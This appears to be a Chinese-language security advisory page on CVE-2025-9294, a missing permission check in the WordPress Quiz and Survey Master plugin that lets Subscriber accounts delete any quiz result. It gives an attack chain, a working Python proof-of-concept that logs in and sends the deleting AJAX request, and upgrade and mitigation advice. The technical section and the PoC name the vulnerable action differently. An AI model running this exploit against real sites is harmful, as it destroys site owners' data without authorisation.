IPBUF安全漏洞报告
English
CVE-2025-9294 CVSS 4.3 中危

CVE-2025-9294 WordPress QSM插件未授权删除问卷结果漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-9294
漏洞类型
权限控制缺失
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress

相关标签

权限控制缺失IDORWordPress插件漏洞Quiz and Survey MasterQSM未授权数据删除CVE-2025-9294WordPress安全

漏洞概述

CVE-2025-9294是WordPress插件Quiz and Survey Master(QSM)中存在的安全漏洞。该插件是一款流行的问卷和测验创建工具,被广泛应用于WordPress网站中。漏洞根源在于qsm_dashboard_delete_result函数缺少适当的权限检查机制,导致任何已认证用户(即使是最低权限的Subscriber订阅者)都能通过该函数删除任意问卷结果。这一漏洞影响范围广泛,所有版本包括10.3.1及之前版本均受影响。由于该漏洞允许低权限用户删除重要数据,可能导致业务数据丢失,同时为恶意攻击者提供了破坏网站数据的途径。漏洞于2026年1月6日被披露,发现者为Wordfence安全团队。

技术细节

该漏洞属于IDOR(Insecure Direct Object Reference)类型的权限控制缺陷。在QSM插件的admin/options-page-questions-tab.php文件中,qsm_dashboard_delete_result函数直接处理删除问卷结果的请求,但没有验证当前用户是否具有删除特定结果的权限。具体来说,函数未调用current_user_can()或类似权限检查函数来验证用户是否有权删除目标问卷结果。攻击者只需构造一个包含目标结果ID的AJAX请求(如admin-ajax.php),指定action为delete_result,即可绕过权限检查删除任意问卷结果。由于WordPress的Subscriber角色默认即可访问admin-ajax.php,且该操作不需要CSRF token验证,攻击门槛极低。攻击者可通过自动化脚本批量删除所有问卷结果,造成数据不可恢复的损失。

攻击链分析

STEP 1
步骤1
攻击者在目标WordPress网站注册账号,获取Subscriber级别或更高权限的账户
STEP 2
步骤2
攻击者登录WordPress后台,获取有效的认证cookie
STEP 3
步骤3
攻击者构造AJAX请求到wp-admin/admin-ajax.php,设置action为qsm_dashboard_delete_result
STEP 4
步骤4
攻击者在请求中指定要删除的目标问卷结果ID(result_id参数)
STEP 5
步骤5
由于qsm_dashboard_delete_result函数缺少current_user_can()权限检查,请求被服务器接受执行
STEP 6
步骤6
目标问卷结果被永久删除,攻击者可通过自动化脚本批量删除所有问卷结果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-9294 PoC - WordPress QSM Plugin Unauthorized Quiz Result Deletion # Authenticated users with Subscriber role can delete any quiz results import requests import sys TARGET_URL = "https://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" RESULT_ID = 123 # Target quiz result ID to delete def exploit_cve_2025_9294(): """ Exploit for CVE-2025-9294: Missing capability check in qsm_dashboard_delete_result Allows authenticated attackers with Subscriber-level access to delete quiz results """ session = requests.Session() # Step 1: Authenticate to WordPress login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Send malicious request to delete quiz result delete_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # The vulnerable action 'qsm_dashboard_delete_result' lacks capability check exploit_data = { 'action': 'qsm_dashboard_delete_result', 'result_id': RESULT_ID } response = session.post(delete_url, data=exploit_data) if response.status_code == 200: print(f"[+] Request sent to delete result ID: {RESULT_ID}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": exploit_cve_2025_9294()

影响范围

Quiz and Survey Master (QSM) plugin for WordPress <= 10.3.1

防御指南

临时缓解措施
立即将Quiz and Survey Master插件升级到10.3.2或更高版本。在等待更新期间,可通过以下方式临时缓解:1)限制新用户注册功能;2)监控admin-ajax.php的异常请求日志;3)使用WordPress安全插件(如Wordfence)添加额外的访问控制规则;4)考虑暂时禁用QSM插件直到完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表